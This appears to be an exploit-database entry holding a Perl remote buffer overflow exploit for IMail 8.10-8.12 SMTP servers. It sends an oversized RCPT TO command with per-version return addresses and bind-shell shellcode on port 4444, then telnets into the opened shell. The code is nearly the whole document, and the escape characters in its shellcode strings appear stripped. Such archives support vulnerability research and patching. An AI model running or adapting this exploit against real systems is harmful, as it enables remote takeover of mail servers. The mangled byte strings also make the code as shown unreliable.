Imail 8.10-8.12 (RCPT TO) Remote Buffer Overflow Exploit

2007-02-05T00:00:00
ID SSV:6132
Type seebug
Reporter Root
Modified 2007-02-05T00:00:00

Description

No description provided by source.

                                        
                                            
                                                #!/usr/bin/perl
# http://www.zerodayinitiative.com/advisories/ZDI-06-028.html
# http://www.securityfocus.com/bid/19885
# 
# acaro [at] jervus.it


use IO::Socket::INET;
use Switch;

if (@ARGV < 3) {
print "--------------------------------------------------------------------
";
print "Usage : Imail-rcpt-overflow.pl -hTargetIPAddress -oTargetReturnAddress
";
print " Return address: 
";
print " o1 - IMail 8.12 Version
";
print " o2 - IMail 8.10 Versio
";
print " Example for IMail 8.12 Version: ./Imail-rcpt-overflow.pl -h127.0.0.1 -o1 
";
print "--------------------------------------------------------------------
";
}

use IO::Socket::INET;

my $host = 10.0.0.2;
my $port = 25;
my $reply;
my $request;
my $happystack="x81xc4xffxefxffxffx44";



foreach (@ARGV) {
$host = $1 if ($_=~/-h((.*).(.*).(.*).(.*))/);
$eip = $1 if ($_=~/-o(.*)/);
}

switch ($eip) {
case 1 { $eip="xc4x91x01x10" } # pop eax ret in SmtpDLL.dll for IMail 8.12
case 2 { $eip="xc3x88x01x10" } # pop eax ret in SmtpDLL.dll for IMail 8.10
}



# win32_bind -  EXITFUNC=seh LPORT=4444 

my $shellcode  = "x33xc9x83xe9xb0xe8xffxffxffxffxc0x5ex81x76x0ex93".
"x7bxbdx36x83xeexfcxe2xf4x6fx11x56x7bx7bx82x42xc9".
"x6cx1bx36x5axb7x5fx36x73xafxf0xc1x33xebx7ax52xbd".
"xdcx63x36x69xb3x7ax56x7fx18x4fx36x37x7dx4ax7dxaf".
"x3fxffx7dx42x94xbax77x3bx92xb9x56xc2xa8x2fx99x1e".
"xe6x9ex36x69xb7x7ax56x50x18x77xf6xbdxccx67xbcxdd".
"x90x57x36xbfxffx5fxa1x57x50x4ax66x52x18x38x8dxbd".
"xd3x77x36x46x8fxd6x36x76x9bx25xd5xb8xddx75x51x66".
"x6cxadxdbx65xf5x13x8ex04xfbx0cxcex04xccx2fx42xe6".
"xfbxb0x50xcaxa8x2bx42xe0xccxf2x58x50x12x96xb5x34".
"xc6x11xbfxc9x43x13x64x3fx66xd6xeaxc9x45x28xeex65".
"xc0x28xfex65xd0x28x42xe6xf5x13xacx6axf5x28x34xd7".
"x06x13x19x2cxe3xbcxeaxc9x45x11xadx67xc6x84x6dx5e".
"x37xd6x93xdfxc4x84x6bx65xc6x84x6dx5ex76x32x3bx7f".
"xc4x84x6bx66xc7x2fxe8xc9x43xe8xd5xd1xeaxbdxc4x61".
"x6cxadxe8xc9x43x1dxd7x52xf5x13xdex5bx1ax9exd7x66".
"xcax52x71xbfx74x11xf9xbfx71x4ax7dxc5x39x85xffx1b".
"x6dx39x91xa5x1ex01x85x9dx38xd0xd5x44x6dxc8xabxc9".
"xe6x3fx42xe0xc8x2cxefx67xc2x2axd7x37xc2x2axe8x67".
"x6cxabxd5x9bx4ax7ex73x65x6cxadxd7xc9x6cx4cx42xe6".
"x18x2cx41xb5x57x1fx42xe0xc1x84x6dx5ex63xf1xb9x69".
"xc0x84x6bxc9x43x7bxbdx36";


my $nop="x41"x137;

my $buffer = "RCPT TO:"."x20x3cx40".$eip . "x3a" .$nop.$happystack.$shellcode."x4ax61x63x3e"."
";


my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!
";

recv($socket, $reply, 1024, 0);
print "Response:" . $reply;


$request = "EHLO " . "
";
send $socket, $request, 0;
print "[+] Sent  EHLO
";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;


$request = "MAIL FROM:" . "x20" . "x3c"."acaro". "x40"."jervus.it" . "x3e" . "
";
send $socket, $request, 0;
print "[+] Sent  MAIL FROM
";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;




$request = $buffer;
send $socket, $request, 0;
print "[+] Sent malicius request
";
close $socket;



print " + connect on port 4444 of $host ...
";
sleep(3);
system("telnet $host 4444");
exit;